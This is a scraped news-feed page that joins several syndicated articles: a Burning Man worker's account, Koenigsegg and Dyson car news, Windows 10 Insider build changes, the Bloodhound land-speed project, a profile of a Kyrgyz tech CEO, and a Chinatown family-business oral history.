After surveying the land, the location of each department is flagged off and we decide where trash facilities will go, where each camp can go, where we need to build the border fence, and where to establish the roads. There's an entire airport built as well for arrivals and departures as well as for skydiving during the event. An entire city is built and then disappears.

Lifting the Burning Man in 2019
Lifting the burning man in 2019.

Courtesy of Matt

Burning Man is a pretty intense organization because we're all dedicated to the mission and the principles. And it takes a lot of hard work and expertise to pull off this large-scale project. 

This isn't like Coachella — we're not bringing in Kanye West, there's no stages set up, you aren't going to come here and sell your veggie burritos. Burning Man is a blank canvas provided for people to come and make their own art. You're going there to gift what you have to other people. 

There are usually about 2,000 registered theme camps, which are groups that organize together to provide for themselves while on site 

A rave
A theme camp at Burning Man in 2012.

Courtesy of Matt

The themes can be anything — maybe it's a Western saloon or a yoga camp. We don't have food vendors, so you need to bring your own food, generator, freezer, anything you need to live for the time you're there. The full event lasts eight days. And in these theme camps, art installations are created once the event starts. 

One of the coolest camps I've seen was a speakeasy jazz club. It was just this huge sensory experience. You walked through a carport with a swinging, single light bulb and ultimately find yourself in a full-on nightclub complete with hardwood floors, a fully-stocked bar, light fixtures, tables and chairs, and gorgeous artwork everywhere. 

Burning Man is all about self-reliance, and with that comes an abundance of resources. One year, my luggage got lost, but thanks to the help of other attendees, I had three new toothbrushes, four air mattresses, a few tents, and clothes to choose from within hours. 

Sunday night is the culmination where that year's man burns 

A fire with a crowd
The burning man in 2019.

Courtesy of Matt

Each year, the designers work on creating the wooden statue figure that's sometimes stood over one hundred feet high and is set ablaze.

A lot of planning goes into the burning man. Safety is paramount, and the team is made up of engineers and pyrotechnic experts who make sure that the burn will be controlled and stay within the perimeter. 

A statue in the desert
A burning man post-burn in 2017.

Courtesy of Matt

In the '90s, there was this one guy — I think he was called Pyro Boy — and he had on some kind of protective suit and lined it with a bunch of different fireworks. He'd light himself and start all these explosions, then charged the man and light it on fire with his own body. Today, with almost 70,000 attendees, we have to be a bit more controlled with the burn. 

I always tell newcomers to just close your eyes, spin around for 20 seconds, and then open them and walk in that direction

You'll find something amazing. One of the best parts of Burning Man is you can go up to anyone, anywhere, and just talk to them. There's no attitude, no snubbing. I have a friend I met at Burning Man over 20 years ago who always brings me Coca Cola and sunscreen because I tend to forget it. One time, we were sitting in lawn chairs taking a break when an older man rode up on a bicycle and asked for some water. 

We all ended up getting to talking. Usually at Burning Man you don't talk about your regular life. No one knows what you do in the real world. This isn't about networking. But this older man isn't a festival goer, and so my friend is telling him about how he works for General Dynamics in Houston, Texas. Turns out, my friend worked on rockets for NASA. I'd known him for 20 years, and I had no idea. Then the older guy says, "What a coincidence, I helped design the rockets for the Apollo 11 mission." I'm sitting there next to two guys who were both rocket scientists!

But honestly, it didn't surprise me. Because Burning Man is weird about making synchronistic connections all the time. 

Read the original article on Business Insider

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]]> https://briefnews.eu/ive-worked-at-burning-man-for-years-this-is-what-its-like-to-build-a-city-for-70000-people-and-then-have-it-disappear/feed/ 0 Koenigsegg aims to build a ‘CO2 neutral’ combustion supercar https://briefnews.eu/koenigsegg-aims-to-build-a-co2-neutral-combustion-supercar/ https://briefnews.eu/koenigsegg-aims-to-build-a-co2-neutral-combustion-supercar/#respond Mon, 04 Feb 2019 06:38:30 +0000 http://briefnews.eu/koenigsegg-aims-to-build-a-co2-neutral-combustion-supercar/

Koenigsegg doesn’t just want combustion-powered supercars to compete with EVs in terms of raw performance… it wants to compete in eco-friendliness, too. In a chat with Top Gear, company founder Christian von Koenigsegg said he was working with National Electric Vehicle Sweden to develop a €1 million ($ 1.15 million) hybrid supercar that was “completely CO2 neutral.” The solution, he said, was melding the automaker’s camless “freevalve” combustion engine tech with electric assistance. You could cold-start the vehicle using pure alcohol, for instance.

The result would be a “lightweight, sporty” car that would be environmentally responsible, but wouldn’t be quite so dependent on electric power. Christian predicted a shortage of battery cells when Tesla, VW and other brands want to mass-produce electric vehicles — this would help Koenigsegg avoid those shortfalls.

The executive didn’t provide too many more details, but stressed this would look “very obviously” like his brand’s iconic cars while remaining relatively affordable compared to no-holds-barred models like the Agera RS and Regera. If all goes well, it’ll be ready by 2020.

It’s an ambitious plan, and it may face plenty of challenges beyond the audacity of the technology itself. For one, Tesla’s next-gen Roadster is poised to deliver many of the thrills of supercars, including in historically weak areas for EVs like top speed and sustained performance. Koenigsegg also has to show that it can grow from delivering just 20 cars per year to the hundreds it’s expecting. Still, the company might have a realistic shot. This is the company that made the Regera, a 1,500HP supercar with no gearbox — it knows how to wring unusual abilities out of combustion engines.

Via: Autoblog

Source: Top Gear

]]> https://briefnews.eu/koenigsegg-aims-to-build-a-co2-neutral-combustion-supercar/feed/ 0 New Windows 10 build silences Cortana, brings passwordless accounts https://briefnews.eu/new-windows-10-build-silences-cortana-brings-passwordless-accounts/ https://briefnews.eu/new-windows-10-build-silences-cortana-brings-passwordless-accounts/#respond Sat, 05 Jan 2019 01:16:12 +0000 http://briefnews.eu/new-windows-10-build-silences-cortana-brings-passwordless-accounts/
New Windows 10 build silences Cortana, brings passwordless accounts

The latest Insider build of Windows 10, 18309, expands the use of a thing that Microsoft has recently introduced: passwordless Microsoft accounts. It’s now possible to create a Microsoft account that uses a one-time code delivered over SMS as its primary authenticator, rather than a conventional password.

In the new Windows 10 build, these passwordless accounts can be used for logging into a machine locally. The initial sign-in will use SMS, and it will then prompt you to configure biometric or PIN authentication. Your face, fingerprint, or PIN will be used subsequently. This capability is in all the editions, from Home up to Enterprise. A few previous builds had constrained it to Home only.

While SMS-based authentication has security issues of its own, Microsoft seems to feel that it’s a better bet for most home users than a likely insecure password. Removing the Windows login password is part of the company’s broader efforts to switch to using a mix of one-time passwords, biometrics, and cryptographic keys.

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]]> https://briefnews.eu/new-windows-10-build-silences-cortana-brings-passwordless-accounts/feed/ 0 Latest Windows Insider build makes a major upgrade to, uh… Notepad https://briefnews.eu/latest-windows-insider-build-makes-a-major-upgrade-to-uh-notepad/ https://briefnews.eu/latest-windows-insider-build-makes-a-major-upgrade-to-uh-notepad/#respond Tue, 11 Dec 2018 10:12:01 +0000 http://briefnews.eu/latest-windows-insider-build-makes-a-major-upgrade-to-uh-notepad/
Image of a spiral notebook.

Enlarge (credit: g4ll4is / Flickr)

There’s a new Windows Insider build out today, and the biggest changes appear to be none other than Notepad, Windows’ venerable barebones text editor.

Notepad already received a significant update in the recent October 2018 Update: Microsoft added support for files with Unix-style line endings. But the work hasn’t stopped there. Oh no.

The new and improved Notepad now has better Unicode support, defaulting to saving files as UTF-8 without a Byte Order Mark; this is the standard way of encoding UTF-8 data, as it maximizes compatibility with software expecting ASCII text. The status bar will now show the encoding being used, too.

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]]> https://briefnews.eu/latest-windows-insider-build-makes-a-major-upgrade-to-uh-notepad/feed/ 0 Bloodhound SSC: How do you build a car capable of 1,000mph? https://briefnews.eu/bloodhound-ssc-how-do-you-build-a-car-capable-of-1000mph/ https://briefnews.eu/bloodhound-ssc-how-do-you-build-a-car-capable-of-1000mph/#respond Sun, 25 Nov 2018 13:51:57 +0000 http://briefnews.eu/bloodhound-ssc-how-do-you-build-a-car-capable-of-1000mph/
Bloodhound SSC: How do you build a car capable of 1,000mph?

(credit: Bloodhound SSC)

Update: It’s Thanksgiving weekend in the US, so many Ars staffers are working through leftovers instead of to-do lists. And with the recent news that one of the most interesting land-speed engineering projects around is experiencing funding issues (just a year after it finally ran a test and hit 210mph), we’re resurfacing this profile of Bloodhound SSC. The initiative boils down to a single question: How do you build a car capable of setting a new land speed record on the far side of 1,000mph? This story originally ran on March 19, 2014, and it appears unchanged below.

Human beings achieved many ‘firsts’ in the 20th century. We climbed the planet’s highest mountains, dived its deepest undersea trench, flew over it faster than the speed of sound, and even escaped it altogether in order to visit the moon. Beyond visiting Mars, it may feel like there are no more milestones left to reach. Yet people are still trying to push the envelope, even if they have to travel a little farther to get there.

Richard Noble is one such person. He’s spearheading a project called Bloodhound SSC that will visit uncharted territory on its way to a new land speed record on the far side of 1,000mph. The idea of a car capable of 1,000mph might sound ludicrous at first blush, but consider Noble’s credentials. The British businessman is responsible for previous land speed records in 1983 and 1997, the first of which came with him behind the wheel.

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]]> https://briefnews.eu/bloodhound-ssc-how-do-you-build-a-car-capable-of-1000mph/feed/ 0 This Unlikely Tech Queen Wants to Build a New Global Hub in Kyrgyzstan https://briefnews.eu/this-unlikely-tech-queen-wants-to-build-a-new-global-hub-in-kyrgyzstan/ https://briefnews.eu/this-unlikely-tech-queen-wants-to-build-a-new-global-hub-in-kyrgyzstan/#respond Fri, 16 Nov 2018 08:59:11 +0000 http://briefnews.eu/this-unlikely-tech-queen-wants-to-build-a-new-global-hub-in-kyrgyzstan/ The blinds are pulled in all the windows of the fifth-floor office. Computer screens and cracks of daylight cast a gray-blue glow, complementing the dark grays and dark purples of mismatched furniture, seemingly thrown together yet too cool to be accidental. The only accents of color are lime greens and bright pinks that dance across screens in lines of computer code. This place has style.

One of several artsy-looking signs on the wall reads “Dance like no one is watching. Encrypt like everyone is.” If I were a location scout for HBO’s Silicon Valley, I’d film the whole damn thing here. But we’re 7,000 miles from California. We’re in Bishkek, the capital of landlocked Kyrgyzstan, at a back-end development hub behind some of Asia’s top apps and tech platforms. Another streak of color? The shock of bright-pink hair on the CEO at the center of the room: Alla Klimenko. Her company, Mad Devs, is a leader in Kyrgyzstan’s burgeoning tech scene, which is increasingly pitching itself as a cheaper alternative to Ukraine, yet more upmarket than India, in the battle to be the brains behind tech titans in Russia, Singapore, Thailand and beyond.

We are hungry. As soon as you give people a chance to earn good money here without leaving the country, they take it.

Alla Klimenko

Mad Devs became Mad Devs only about two years ago, but the core team of developers who started the company have been working together for more than a decade. Most recently, they were the development team at Namba, a sort of Netflix-turned-Uber in Central Asia. Kyrgyzstan’s most ubiquitous consumer tech company started as an online TV platform, has run an app-based ride-sharing service since 2012 and added food delivery in 2013 (a year before Uber Eats launched). Not satisfied with those challenges, the coders felt they weren’t being given enough to do, says Klimenko, so they started their own company.

Risingstar1001

It now has more than 50 employees, contracting with Namba as well as Eatigo, a Bangkok-based restaurant booking service with more than a million users across Southeast Asia; Zentist, a Silicon Valley–based dental services platform; an artificial intelligence–meets–blockchain concept called Neureal; and others as far away as the U.K. and Australia. “We don’t work with small projects,” says Klimenko, only meaningful partnerships of six months or more. They don’t have a sales team beyond Klimenko herself, with all their work coming through word-of-mouth.

Tech CEO isn’t the usual career path of 31-year-old Kyrgyz women. Almost all talented young people leave to work in Kazakhstan or Russia, where average wages are four and eight times that of those in Kyrgyzstan, respectively. Klimenko herself spent 18 months working in Almaty, Kazakhstan, returning to Bishkek on weekends. Though the business scene is more developed in Kazakhstan, the region’s economic powerhouse, almost all employees in Kazakhstan’s tech scene are Kyrgyz, says Klimenko. But now, the lack of other opportunities means that tech is one industry where Kyrgyzstan could thrive: “We are hungry,” Klimenko says. “As soon as you give people a chance to earn good money here without leaving the country, they take it.”

That same ambition has driven Klimenko personally as well as professionally. Fiercely independent since childhood, she excelled at physics and mathematics Olympiads as a high school student. Studying computer engineering at university, she was one of the best in her class, and would often be held up as an example to her predominantly male classmates — “Even the girl can do this, and you can’t?” she recalls her teachers saying, though for her it’s more a source of pride than an example of sexism.

Klimenko occupies a strange ideological position on gender politics. She is considering running an all-female intern class next year because she’s convinced that women are usually far better qualified than they say in applications, and yet she doesn’t believe the future is totally female: “There shouldn’t be more women than men” in tech, she says, else “they start to try to dominate each other.”

Risingstar1028

Klimenko left her first husband (whom she married while still at university) because he wanted her to be a stay-at-home mother; she left her second husband (the father of her 6-year-old son) because he didn’t share her ambition. She is chatty and funny, markedly different from the rest of the employees, whose eyes barely rise from their screens as they eat at their desks. Klimenko hasn’t actually coded since university, after realizing that project management in tech was her forte. It’s “unique” for someone to have Klimenko’s communications and sales skills while still being on the same intellectual level as the coders themselves, says Andrew Minkin, one of Mad Dev’s other co-founders.

Mad Devs is “one of the top local companies” in Kyrgyzstan’s tech scene, says Aziz Soltobaev, co-founder of KG Labs, an organization working to boost the country’s tech infrastructure — although there are a few other companies eyeing international prominence, including software development platform Zensoft. Many of the other leading companies have offices abroad or foreign founders, says Soltobaev, making Mad Devs one of the few to remain in Bishkek. “One of the challenges is a lack of talent,” he says — a problem that Mad Devs tackles by training dozens of unpaid interns in-house, several of whom have no formal training. The team calls their grueling program “The Hunger Games,” which ends with a “hell week” during which the office sofas become makeshift beds. Minkin leads the internship program, mainly because of his size and intimidating physical appearance, says Klimenko.

Of course, it’s still early days for the Mad Devs team, and becoming the go-to back-end development hub for the future economy is a title that emerging economies the world over are fighting for. But if there’s one thing they’ve nailed in the aspiration to bring Silicon Valley to Central Asia, it’s a tribelike company culture. Minkin even has a tattoo featuring the Mad Devs logo. Klimenko’s own tattoo covers her forearm with a “goddess of flame,” and it too was inked with the company in mind — yet another colorful selling point.

OZY’s Five Questions With Alla Klimenko

  • What’s the last book you read? Needful Things, by Stephen King — I’m finishing it right now.
  • What do you worry about? I’m worried that I’m not a very good mother to my son, that I’m not good enough.
  • What is one thing you cannot live without? Love!
  • Who are your heroes? I don’t have a hero. I don’t believe in heroes, because we are all just people.
  • What’s on your bucket list? I want to see the world. One day I’d like to live near the sea, or maybe in the mountains where they have some cool snowboarding races during winter.

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]]> https://briefnews.eu/this-unlikely-tech-queen-wants-to-build-a-new-global-hub-in-kyrgyzstan/feed/ 0 Sorry, Britain: Vacuum Tycoon Decides to Build Dyson EVs in Singapore https://briefnews.eu/sorry-britain-vacuum-tycoon-decides-to-build-dyson-evs-in-singapore/ https://briefnews.eu/sorry-britain-vacuum-tycoon-decides-to-build-dyson-evs-in-singapore/#respond Tue, 23 Oct 2018 21:02:57 +0000 http://briefnews.eu/sorry-britain-vacuum-tycoon-decides-to-build-dyson-evs-in-singapore/ British vacuum magnate James Dyson has decided to construct his company’s planned electric vehicles in Singapore, rather than his home country. The choice prompted a mild uproar in the UK, as Dyson was a major proponent of Brexit. However, he’s also still a businessman. China currently buys more EVs than any other nation on the planet, […]

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]]> https://briefnews.eu/sorry-britain-vacuum-tycoon-decides-to-build-dyson-evs-in-singapore/feed/ 0 Her Parents Wanted Her to Land a Cushy Job. She Wanted to Build Their Legacy https://briefnews.eu/her-parents-wanted-her-to-land-a-cushy-job-she-wanted-to-build-their-legacy/ https://briefnews.eu/her-parents-wanted-her-to-land-a-cushy-job-she-wanted-to-build-their-legacy/#respond Mon, 22 Oct 2018 23:37:06 +0000 http://briefnews.eu/her-parents-wanted-her-to-land-a-cushy-job-she-wanted-to-build-their-legacy/ Editor’s Note: This article is part of an oral-history series where Aaron Reiss interviewed the young-adult sons and daughters of Chinatown shopkeepers about how they are helping to keep their families’ businesses alive.

Olympia Moy, a 35-year-old with a background in nonprofit work and advocacy who helps manage her parents’ music school, shares the struggle of reconciling her legacy with that of her parents. “My parents would have rather I had come back for a cushy job and a steady income,” she says. “I came back thinking of their business as fertile ground for civic change.”

I spoke with Moy in the spring of 2018. Below is our conversation, lightly edited for clarity.

While my mom was studying piano at the Mannes School of Music, she was also teaching English and tutoring piano on the side. She also helped open a little candy shop with her mother on Bayard Street. At that time everyone was hustling. A lot of people here had just been uprooted after the Cultural Revolution in China. Coming here, they had to build something from scratch.

By the time I was born, she had turned her piano tutoring into a small business, which she ran out of a residential apartment in Chinatown. My parents had bought that building and the ground-level medical practice, which my dad took over. In the apartment above, we had an upright piano in the living room, another in the kitchen, and in another room there was a Steinway. My mom gave piano lessons, and we held recitals where 15 or 20 people would pile into the apartment and listen to students play.

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When my parents bought an apartment building on Henry Street, my mom started running the Florentine School of Music, Art and Academics out of the storefront space. She was selling upright pianos, and people would come to Chinatown, buy a piano, and take it back to Long Island, or Brooklyn, or wherever. In the back, there were two rooms for piano lessons. Then that grew pretty quickly to the point where there were a couple of hundred students, with three to five classes going on at a single time—classes, not even private lessons. There were so many parents, and kids, and class after class coming and going. That’s how I grew up.

This was before cellphones, so if I was around home or the music school, I would be sent to run messages between the office and the violin studio, letting teachers know when students had canceled.

My main instrument is the viola, but I started on the violin at a Florentine class when I was almost 3 years old. My mom had a friend who was teaching a class that had a no-show, so she said, “Okay, just try this out.” I ended up staying in the lesson for 30 minutes. My dad heard about it and said, “You’re such a pushy mother!”

From then on, I was taking lessons and also participating with my siblings and my dad in the Yamaha music-curriculum courses. Eventually, our teacher at Florentine let us go out beyond the school because we didn’t have a symphony or an orchestra at Florentine. We ended up at the Manhattan School of Music. That was the end of my time as a music student at Florentine, but after that, I would help out as an assistant for concerts. In college I would fill in if they needed a substitute, teach a violin class here and there. I would help the teachers coach in larger ensemble classes. As I got older, my responsibilities got bigger. I would fix up our student database or maintain our billing systems, make brochures and printouts.

Moy’s parents met at a chorus practice in the 1970s, and music has been at the center of their family ever since. (Aaron Reiss)

I think children in family businesses naturally become management consultants for their parents, when they hear and see the different issues that the business is going through. Like, you see these black-and-white Xeroxed brochures, and at some point, you’re like, This can be better. And you throw in your two cents, and then it gets better, and then you get more involved, and that’s how it goes.

In 2001, I went away to college, and then to grad school, and then after that to a public-interest fellowship in Chicago. Obama was just elected; I was looking at all my options in the nonprofit world. I was looking around at my peers and the different ways that they were getting involved with civic society. I remember a friend who took an entry-level job at a nonprofit telling me about how her organization was so underfunded and under-resourced that she was using a filing cabinet as a desk. I started thinking about my family’s business, and about how that basic work had already been done. I thought, rather than trying to figure out budget-line items for furniture, I could start this work more quickly from home.

So I saw coming back to Chinatown like fertile ground for the work that I wanted to do—there is so much civic potential, and so much work to be done here. And here is my family business, with a real base in the community and all these resources waiting to be marshaled. I decided I would come back, that I would wear this small-business-owner hat and see where that takes me in terms of understanding how this neighborhood works and how community change happens.

Meanwhile, I think my parents would rather I had come back for a cushy job and a steady income instead of transforming or redefining their legacy, or making them more visible than they want to be. You know, I came back thinking of their business as fertile ground for civic change—and they would rather I not use the family name and not use the family resources. I think my mom feels like she already had a legacy, you know? Quiet, sustained work over time.

Now I’ve been working here for eight years, doing this work on community building, which has taken on different forms over time. I helped organize the first-ever LGBT contingent to march in Chinatown’s Lunar New Year Parade in 2010. I did a lot of that work in the closet, actually. It’s common for a lot of queer Asians to be out in the mainstream community—and proud to be queer and Asian. But when they come back to the Chinese community, they go back into the closet. And I was kind of like that. But when this queer group was facing resistance for marching in the Chinatown parade, I kind of took on a more active role to make it happen. I was also working with Q-Wave—an LGBT group for women and trans folk of Asian descent. During that time, I was organizing educational programming, general meetings, and social events. I also worked a lot with the Princeton AlumniCorps, which helps put recent grads in community-based nonprofits. More recently, I’ve gotten involved with trying to strengthen the resources and organizations that are here in Chinatown—make them more resilient and more connected to the past.

But the reality is that I’m also running these businesses: the school and managing the real estate we own and rent to tenants. My role is elusive. I’ve never printed business cards—I don’t know what I would put on them—but my computer is littered with attempts and drafts.

We deal with the same issues as a lot of family businesses. When people like me come back, having grown up privileged, exposed to other ways of thinking and doing business—thinking strategically and with vision—it isn’t always well received, because that’s just not how things are done. For the generation that came when my parents did, I think they are inherently in survival and maintenance mode.

Aaron reiss

But my personality is very idealistic; I have these big visionary ideas. I had envisioned when I came back that Florentine would organically transform into this community center, this beacon in Chinatown and the Asian community at large. A place where all groups could have a small stage to show and see what Chinatown has to offer.

How that plays out in the day-to-day is that I want to knock down a wall to put in a movable partition so that we could have our traditional tutoring classes on the weekends and black-box theater performances on weeknights. And the measured response I get is, “Why don’t you start programming in one room, and once you’re running that successfully, then we can talk about knocking down a wall.”

When you’re talking about a vision for the future, there’s this tension, like, “Whose business is this? Whose resources are these?” If you’ve put three, five, 10 years of your adult life into a business, is it yours now? Is it your legacy? Is it what you’ve built as well? And that’s a tension that we really deal with.

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